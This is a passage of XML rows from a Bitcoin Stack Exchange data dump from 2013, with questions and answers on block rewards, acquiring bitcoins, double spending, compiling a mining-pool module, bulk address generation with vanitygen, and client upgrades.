options above don't work, please update the question with more details.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-17T22:44:01.977" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13373" PostTypeId="2" ParentId="13236" CreationDate="2013-09-17T22:50:44.290" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;version&quot; : 32400&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Oh my goodness. That is a very old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New versions dramatically improve chain synchronization times. Update from your current version of 0.3.24 to 0.8.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="208" LastEditDate="2013-09-17T23:51:32.643" LastActivityDate="2013-09-17T23:51:32.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13374" PostTypeId="1" AcceptedAnswerId="13386" CreationDate="2013-09-17T23:24:36.097" Score="4" ViewCount="480" Body="&lt;p&gt;I understand that lucky clients that create blocks get some transaction fees and are allowed to mint a few new bitcoins to keep for themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do clients know how many new bitcoins to mint for themselves when creating a block?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastEditorUserId="5406" LastEditDate="2016-03-10T09:36:15.680" LastActivityDate="2016-03-10T09:36:15.680" Title="How do Bitcoin clients know how many new bitcoins to mint when creating a block?" Tags="|mining-reward|reward-schedule|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13375" PostTypeId="2" ParentId="13374" CreationDate="2013-09-17T23:30:05.367" Score="2" Body="&lt;p&gt;The block reward schedule is part of the Bitcoin specification. It started out at 50 Bitcoins per block and halves every 210,000 blocks.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-09-17T23:30:05.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13376" PostTypeId="2" ParentId="91" CreationDate="2013-09-17T23:30:53.517" Score="29" Body="&lt;p&gt;Basically there are five main ways of getting bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mining&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Buying&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Offering goods and services for Bitcoin&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Obtaining for free through micro payment&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Asking a friend who already has them to give a tiny fraction for free&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Let's start with mining:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;first of all I have to warn that currently there is almost impossible to mine by your own. You need to have a &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;dedicated hardware&lt;/a&gt; (you can see hashrate comparison here) which is really costly. Even with this dedicated software it is really a &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;small chance&lt;/a&gt; (current total hashrate is &gt; 850 Thash/s) that you will create a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So most probably you have to &lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining&quot; rel=&quot;nofollow noreferrer&quot;&gt;mine as a part of the pool&lt;/a&gt;. There are &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow noreferrer&quot;&gt;quite a lot&lt;/a&gt; of mining pools available, but mostly you would like to join some big pool to have a high percentage of guaranteed small payoff. Pools hashrate distribution you can find &lt;a href=&quot;http://blockchain.info/pools&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;I by myself have tried to mine on two different mining pools : &lt;a href=&quot;http://www.btcguild.com/index.php?page=support&quot; rel=&quot;nofollow noreferrer&quot;&gt;BTC Guild&lt;/a&gt; and &lt;a href=&quot;https://bitminter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitMinter&lt;/a&gt;. Just my own opinion, that it is easier to start with bitminter, because they provide you with easy to use software for mining and detailed instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One last word of warning:&lt;/strong&gt; most probably if you will start mining right now with your GPU, you will spend more money on electricity than you will gain from mining. But if you are going to do this just for curiosity, it might give you some micro part of a bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The second option is to buy bitcoins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As with mining, you have &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_Bitcoins_%28the_newbie_version%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;plenty of options&lt;/a&gt; as well. The only problem is that right now you are dealing with your own real money. So you have to be careful what to select. At some period of time there were a lot of fake bitcoins selling sites, so if I were you, I would rather go with bullet proof places:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.coinbase.com/join/5994103c4024d2027bccb52a&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinbase.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://changelly.com?ref_id=0d53bf1ef604&quot; rel=&quot;nofollow noreferrer&quot;&gt;changelly.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is also possible to find local trading partners through services such as &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;localbitcoins.com&lt;/a&gt; or at Bitcoin meetups.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Offering goods and services for Bitcoin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you already have a shop or are planning to start selling something in the near future, it is pretty easy to accept Bitcoin as payment, in fact easier than to accept Credit Cards for example. If you are worried about Bitcoin's volatility, there are different payment processors, which will convert your Bitcoin payments into your national fiat currency for a fee, usually lower than Credit Card Companies. – You can opt to keep a percentage in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Obtaining for free through micro payment&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Not surprisingly, but there is a lot of web-sites, where you can get bitcoins for free. Do not be overexcited by this - you can not make a fortune out of this :-). Most probably they will give you 0.000001 bitcoin for free. On most of such websites you have to watch some stuff or to other useless things. So you are exchanging your time for micro payment. In my own question on bitcoin beta, there is a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5220/1891&quot;&gt;list of many of such places&lt;/a&gt;. If you know any other place - feel free to add it.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;And the last thing is to ask a friend.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Try to ask your high tech friend. There is a high chance that he already knows about bitcoin and may be have a couple of coins. He might give you a small micropayment just to try. But do not try to abuse this: there is no point of asking people in places like this to give you 0.00001 bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1891" LastEditDate="2018-08-06T01:25:49.217" LastActivityDate="2018-08-06T01:25:49.217" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="13377" PostTypeId="2" ParentId="13370" CreationDate="2013-09-18T00:05:41.027" Score="13" Body="&lt;p&gt;Essentially, there is no such thing as a &quot;suspicous transaction&quot; and bitcoin is already set up to work in the way that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double spending is handled like this -- if two transactions spending the same input(s) happen in the same block, both will be rejected. If one transaction makes it into a block before the other, the first one will be accepted and the second will be rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if two transactions entered the network simultaneously, but at different endpoint, by the time the next block is mined it's likely that they would have made it into the same block and thus be simultaneously rejected. It's also possible that a block is mined containing one transaction, and all subsequent blocks containing the other transaction will simply be rejected. The third and least likely scenario is that two blocks are mined simultaneously -- each containing one of the competing transactions -- and this would cause a fork in the blockchain. However, this is the purpose of having confirmations, and by the time you reach 6, it's extremely likely that the forks have been reconciled and that one of these transactions will be rejected along with the rejected fork. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if double spending occurs exactly one of three things will have happened :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. You will have the bitcoins (even though they were promised to someone else)&#xA;2. Someone else will have the bitcoins (even though they were promised to you)&#xA;3. The original owner keeps the bitcoins.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you're not dealing with transactions that occur in real time, you only need to worry about whether or not you receive your bitcoins. After a number of confirmation, you can be confident that there was no double spend detected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You noted that you wanted to identify suspicious transactions using the bitcoind API, but as mentioned before, there no way to identify a transaction as being inherently suspicious. If money shows up at your bitcoin address from a sender and you want to be confident that the transactions won't somehow disappear from the blockchain later, you could check the for forks in the block chain that might contain transactions with the same inputs, but simply waiting 6 confirmations, as you're already doing, is more than enough. If you don't get your coins, just let the customer know, and if the customer didn't double spend, he or she can just resend the payment. Essentially @Nate-Eldredge is right.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2014-04-30T12:38:13.173" LastActivityDate="2014-04-30T12:38:13.173" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13378" PostTypeId="1" CreationDate="2013-09-18T02:20:19.273" Score="0" ViewCount="782" Body="&lt;p&gt;Here's the tutorial I was using, just to get a bit of bearing on the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=158105.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=158105.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It instructed me to use the following repository for the midstate module/library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gitorious.org/midstate/midstate&quot; rel=&quot;nofollow&quot;&gt;http://gitorious.org/midstate/midstate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After setting everything up, and downloading everything, all seemed to work fairly well. The only issue was the midstate module - I just couldn't get it compiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Makefile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CC = gcc&#xA;CFLAGS = -march=native -Wall -funroll-all-loops -O3 -fstrict-aliasing -Wall -std=c99 -I/usr/local/include/python3.3m&#xA;LDFLAGS = -Wl,-O1 -Wl,--as-needed -lpython3.3m&#xA;&#xA;all: test midstate.so&#xA;&#xA;test: midstatemodule.c&#xA;    $(CC) $(CFLAGS)  midstatemodule.c -o test $(LDFLAGS)&#xA;&#xA;midstate.so: midstatemodule.c&#xA;    $(CC) $(CFLAGS) -fPIC -shared midstatemodule.c -o midstate.so $(LDFLAGS)&#xA;&#xA;.PHONY: clean&#xA;&#xA;clean:&#xA;    rm -f midstate.so test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the compilation error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -march=native -Wall -funroll-all-loops -O3 -fstrict-aliasing -Wall -std=c99 -I/usr/local/include/python3.3m  midstatemodule.c -o test -Wl,-O1 -Wl,--as-needed -lpython3.3m&#xA;/usr/local/lib/libpython3.3m.a(longobject.o): In function `PyLong_FromString':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/longobject.c:2157: undefined reference to `log'&#xA;/usr/local/lib/libpython3.3m.a(dynload_shlib.o): In function `_PyImport_GetDynLoadFunc':&#xA;/home/jon/Downloads/Python-3.3.2/./Python/dynload_shlib.c:97: undefined reference to `dlsym'&#xA;/home/jon/Downloads/Python-3.3.2/./Python/dynload_shlib.c:129: undefined reference to `dlopen'&#xA;/home/jon/Downloads/Python-3.3.2/./Python/dynload_shlib.c:149: undefined reference to `dlsym'&#xA;/home/jon/Downloads/Python-3.3.2/./Python/dynload_shlib.c:135: undefined reference to `dlerror'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_start_new_thread':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:218: undefined reference to `pthread_create'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:234: undefined reference to `pthread_detach'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:208: undefined reference to `pthread_attr_setstacksize'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_allocate_lock':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:287: undefined reference to `sem_init'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_free_lock':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:312: undefined reference to `sem_destroy'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_acquire_lock_timed':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:347: undefined reference to `sem_timedwait'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:351: undefined reference to `sem_wait'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:351: undefined reference to `sem_wait'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:349: undefined reference to `sem_trywait'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:349: undefined reference to `sem_trywait'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_release_lock':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:393: undefined reference to `sem_post'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_acquire_lock_timed':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:349: undefined reference to `sem_trywait'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:351: undefined reference to `sem_wait'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_create_key':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:607: undefined reference to `pthread_key_create'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_set_key_value':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:627: undefined reference to `pthread_getspecific'&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:630: undefined reference to `pthread_setspecific'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `_pythread_pthread_set_stacksize':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:585: undefined reference to `pthread_attr_setstacksize'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_delete_key':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:614: undefined reference to `pthread_key_delete'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_delete_key_value':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:620: undefined reference to `pthread_setspecific'&#xA;/usr/local/lib/libpython3.3m.a(thread.o): In function `PyThread_get_key_value':&#xA;/home/jon/Downloads/Python-3.3.2/Python/thread_pthread.h:637: undefined reference to `pthread_getspecific'&#xA;/usr/local/lib/libpython3.3m.a(signalmodule.o): In function `timeval_from_double':&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/signalmodule.c:126: undefined reference to `floor'&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/signalmodule.c:126: undefined reference to `floor'&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/signalmodule.c:127: undefined reference to `fmod'&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/signalmodule.c:127: undefined reference to `fmod'&#xA;/usr/local/lib/libpython3.3m.a(signalmodule.o): In function `signal_pthread_kill':&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/signalmodule.c:848: undefined reference to `pthread_kill'&#xA;/usr/local/lib/libpython3.3m.a(signalmodule.o): In function `signal_pthread_sigmask':&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/signalmodule.c:632: undefined reference to `pthread_sigmask'&#xA;/usr/local/lib/libpython3.3m.a(posixmodule.o): In function `posix_openpty':&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/posixmodule.c:6088: undefined reference to `openpty'&#xA;/usr/local/lib/libpython3.3m.a(posixmodule.o): In function `posix_forkpty':&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/posixmodule.c:6148: undefined reference to `forkpty'&#xA;/usr/local/lib/libpython3.3m.a(faulthandler.o): In function `faulthandler_thread':&#xA;/home/jon/Downloads/Python-3.3.2/./Modules/faulthandler.c:435: undefined reference to `pthread_sigmask'&#xA;/usr/local/lib/libpython3.3m.a(complexobject.o): In function `_Py_c_pow':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/complexobject.c:121: undefined reference to `hypot'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/complexobject.c:122: undefined reference to `pow'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/complexobject.c:123: undefined reference to `atan2'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/complexobject.c:127: undefined reference to `sincos'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/complexobject.c:126: undefined reference to `exp'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/complexobject.c:127: undefined reference to `log'&#xA;/usr/local/lib/libpython3.3m.a(complexobject.o): In function `_Py_c_abs':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/complexobject.c:192: undefined reference to `hypot'&#xA;/usr/local/lib/libpython3.3m.a(floatobject.o): In function `float_is_integer':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:794: undefined reference to `floor'&#xA;/usr/local/lib/libpython3.3m.a(floatobject.o): In function `float_as_integer_ratio':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:1464: undefined reference to `floor'&#xA;/usr/local/lib/libpython3.3m.a(floatobject.o): In function `float_divmod':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:609: undefined reference to `floor'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:586: undefined reference to `fmod'&#xA;/usr/local/lib/libpython3.3m.a(floatobject.o): In function `float_rem':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:557: undefined reference to `fmod'&#xA;/usr/local/lib/libpython3.3m.a(floatobject.o): In function `float_round':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:988: undefined reference to `round'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:991: undefined reference to `round'&#xA;/usr/local/lib/libpython3.3m.a(floatobject.o): In function `float_pow':&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:710: undefined reference to `floor'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:745: undefined reference to `pow'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:695: undefined reference to `fmod'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:721: undefined reference to `fmod'&#xA;/home/jon/Downloads/Python-3.3.2/Objects/floatobject.c:685: undefined reference to `fmod'&#xA;collect2: ld returned 1 exit status&#xA;make: *** [test] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm just not sure what to make of it. There isn't really much information about the midstate module. Haven't been able to find any threads about others having the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even tried ignoring it and starting the eloipool server - it promptly gave me the following error, but seemed to run in the background.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-09-17 18:17:31,083 jsonrpc_getwork WARNING Error importing 'midstate' module; work will not provide midstates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using cgminer to test if it was working, but it wasn't able to establish a connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated! And sorry for being a noob at this.&lt;/p&gt;&#xA;" OwnerUserId="6786" LastActivityDate="2013-12-13T14:32:13.073" Title="Problem setting up midstate module for eloipool" Tags="|mining-pools|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13379" PostTypeId="1" CreationDate="2013-09-18T11:08:59.717" Score="0" ViewCount="256" Body="&lt;p&gt;In my country of Norway online gambling is legal, but the banks are not permitted to transfer money to online gambling companies. So all transfers of money to online gambling sites are done thru third party. is it possible to set up a system using bitcoins to allow people to transfer money to and from a online gambling site?&lt;/p&gt;&#xA;" OwnerUserId="6796" LastActivityDate="2014-07-10T17:29:51.167" Title="Third party gambling" Tags="|gambling|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13380" PostTypeId="2" ParentId="13271" CreationDate="2013-09-18T11:36:10.800" Score="5" Body="&lt;p&gt;Better use this software:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;https://github.com/samr7/vanitygen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easy generate any amount of bitcoin's addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# time for((i=0;i&amp;lt;250;i++));do ./vanitygen 125; done &amp;gt; 250_new_addressess.txt&#xA;real    0m9.437s&#xA;user    0m2.020s&#xA;sys     0m0.316s&#xA;# cat 250_new_addressess.txt&#xA;....&#xA;....&#xA;Address: 125r2fVnSXd6BtF66kTi83DuRzgzJmshPF&#xA;Privkey: 5JMqHqGccJjNz48izM6CEdDrTJ9P8DYRXQ96wcZhn86MWutECo1&#xA;Pattern: 125                                                                   &#xA;Address: 125URJpbqr5eANYfLrhQVinQeexy2WfdhW&#xA;Privkey: 5Kh9eqyJQNzxCWMtfX1r6cPjAdmqJnZEceV8WmwRjYunHqTk7Hu&#xA;Pattern: 125                                                                   &#xA;Address: 125wwU55kXQgDQYd8fQySNLQKS8AdRUote&#xA;Privkey: 5JZjn5sPnSqjbtBuXpuKcVDRa4bR5vxzWUZ9LCHsiscixBSyuGt&#xA;Pattern: 125                                                                   &#xA;Address: 125N16rwWHgVWnAZYpz5XBvWptRhJ6iBKg&#xA;Privkey: 5KhX1Y1WjCu3dpHB2DPWt6f2mRFeMJCtkYZK66ApxTDM2iHMSM7&#xA;Pattern: 125                                                                   &#xA;Address: 125HjL2QSCSUQHNExbMoSAUhHsz4GBuz3w&#xA;Privkey: 5JtMy31VbfK5xLtcwmALMjQj2WPMd6eLDe7tJR6T9bjwRwiimbW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thereafter, import private keys one by one into the bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bitcoind importprivkey &amp;lt;bitcoinprivkey&amp;gt; [label] [rescan=true]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat 250_new_addressess.txt  | grep &quot;^Privkey&quot; | awk '{print $2}' | while read i;do bitcoind importprivkey $i &quot;250 new addresses&quot;; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Additionally,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you doesn't looking for &quot;named&quot; address, like 1uckyboyPT44PWgA5bu4NtxFMuCN or something or have no resources to generate cool named bitcoin address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can easy get any amount of address just by bitcoind the same way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ time for((i=0;i&amp;lt;250;i++));do bitcoind getnewaddress &quot;250&quot;;done&#xA;real    1m48.950s&#xA;user    0m0.612s&#xA;sys     0m0.432s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its pretty fast.&lt;/p&gt;&#xA;" OwnerUserId="6489" LastEditorUserId="6489" LastEditDate="2013-09-18T13:06:39.853" LastActivityDate="2013-09-18T13:06:39.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13382" PostTypeId="1" CreationDate="2013-09-18T11:58:09.307" Score="0" ViewCount="1022" Body="&lt;p&gt;I´ve been using Bitcoin-qt (version 0.8.1.) for several weeks but lately I´ve had problems due to a so called &quot;corrupted block database&quot; issue, so I´ve decided to update my client to the latest version (0.8.5.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It´s already installed (I just installed it on my laptop without removing the older version), synchronized and working properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I remove the older version of the client by clicking on the uninstall icon? &#xA;Is it safe to do so? If so, do I have to backup my wallet.dat file again or the previous backup still works with the latest version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6797" LastActivityDate="2013-09-18T23:32:57.903" Title="Is it safe to uninstall an old version of Bitcoin-qt after having installed the latest one?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13383" PostTypeId="2" ParentId="5492" CreationDate="2013-09-18T12:13:12.280" Score="1" Body="&lt;p&gt;You are right in saying that the money supply of a currency is expanded through lending. It's even possible when the currency solely consists of physical coins. This was already usual practice in ancient banking operations and is nothing new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is no Bitcoin central bank, there is no reserve requirement and the Bitcoin money supply can theoretically grow indefinitely (the &lt;a href=&quot;http://en.wikipedia.org/wiki/Money_multiplier&quot; rel=&quot;nofollow&quot;&gt;money multiplier&lt;/a&gt; is infinite). In my opinion this means the term &quot;fractional reserve banking&quot; does not apply. In the case of Bitcoin we simply speak of lending. FRB only applied, if there was a central bank that sets a reserve ratio like with fiat currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite the fact that there is no reserve requirement, Bitcoin lending will probably be limited by the deflationary nature of Bitcoin itself. I just published this &lt;a href=&quot;http://www.dgcmagazine.com/bitcoin-money-supply-and-money-creation/&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; about the topic. A deflationary currency like Bitcoin provides a higher incentive to build savings instead of inducing to borrow money. Therefore lending activities in relation to the monetary base (mined Bitcoins) will remain much smaller than with fiat currencies. The Bitcoin money supply manages itself and should remain at a reasonable level.&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-09-18T12:13:12.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13384" PostTypeId="5" CreationDate="2013-09-18T14:52:16.517" Score="0" Body="&lt;p&gt;Off-chain payments are transfers within a service and do not appear on the blockchain, i.e. they are not visible to the complete network. These occur for example when funds are sent from one to another user of the same online wallet, or when balances are adjusted within an exchange service at the time when trade offers are matched.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-09-18T18:26:33.590" LastActivityDate="2013-09-18T18:26:33.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13385" PostTypeId="4" CreationDate="2013-09-18T14:52:16.517" Score="0" Body="Transfers that don't appear on the blockchain." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-09-18T18:25:59.027" LastActivityDate="2013-09-18T18:25:59.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13386" PostTypeId="2" ParentId="13374" CreationDate="2013-09-18T15:33:16.780" Score="3" Body="&lt;p&gt;The mining reward is the sum of two parts: Transaction fees and block reward. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction fees are the sum of the transaction fees of the transactions that the miner is trying to validate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block reward follows a predetermined schedule: It started with 50 BTC per block and halves every 210,000 blocks. According to &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#How_long_will_it_take_to_generate_all_the_coins.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;the bitcoin.it-FAQ&lt;/a&gt; the last block to have a block reward will be block #6,929,999.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol includes a check that will reject blocks which assign more than &lt;em&gt;block reward + transaction fees&lt;/em&gt; in the coinbase transactions. Assigning less is valid, however, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13336/if-a-coinbase-reward-isnt-fully-spent-can-the-coins-ever-be-recovered/13339#13339&quot;&gt;the difference will be lost&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-09-18T15:33:16.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13387" PostTypeId="1" AcceptedAnswerId="13428" CreationDate="2013-09-18T16:35:29.013" Score="0" ViewCount="242" Body="&lt;p&gt;I am generating new addresses with the blockchain api and sending funds to them from a primary blockchain.info address. Just wanted to know if those transactions will appear in the blockchain or are they internal to blockchain.info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6802" LastActivityDate="2013-09-21T21:50:34.350" Title="Blockchain.info - generated addresses &amp; the blockchain" Tags="|blockchain|api|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
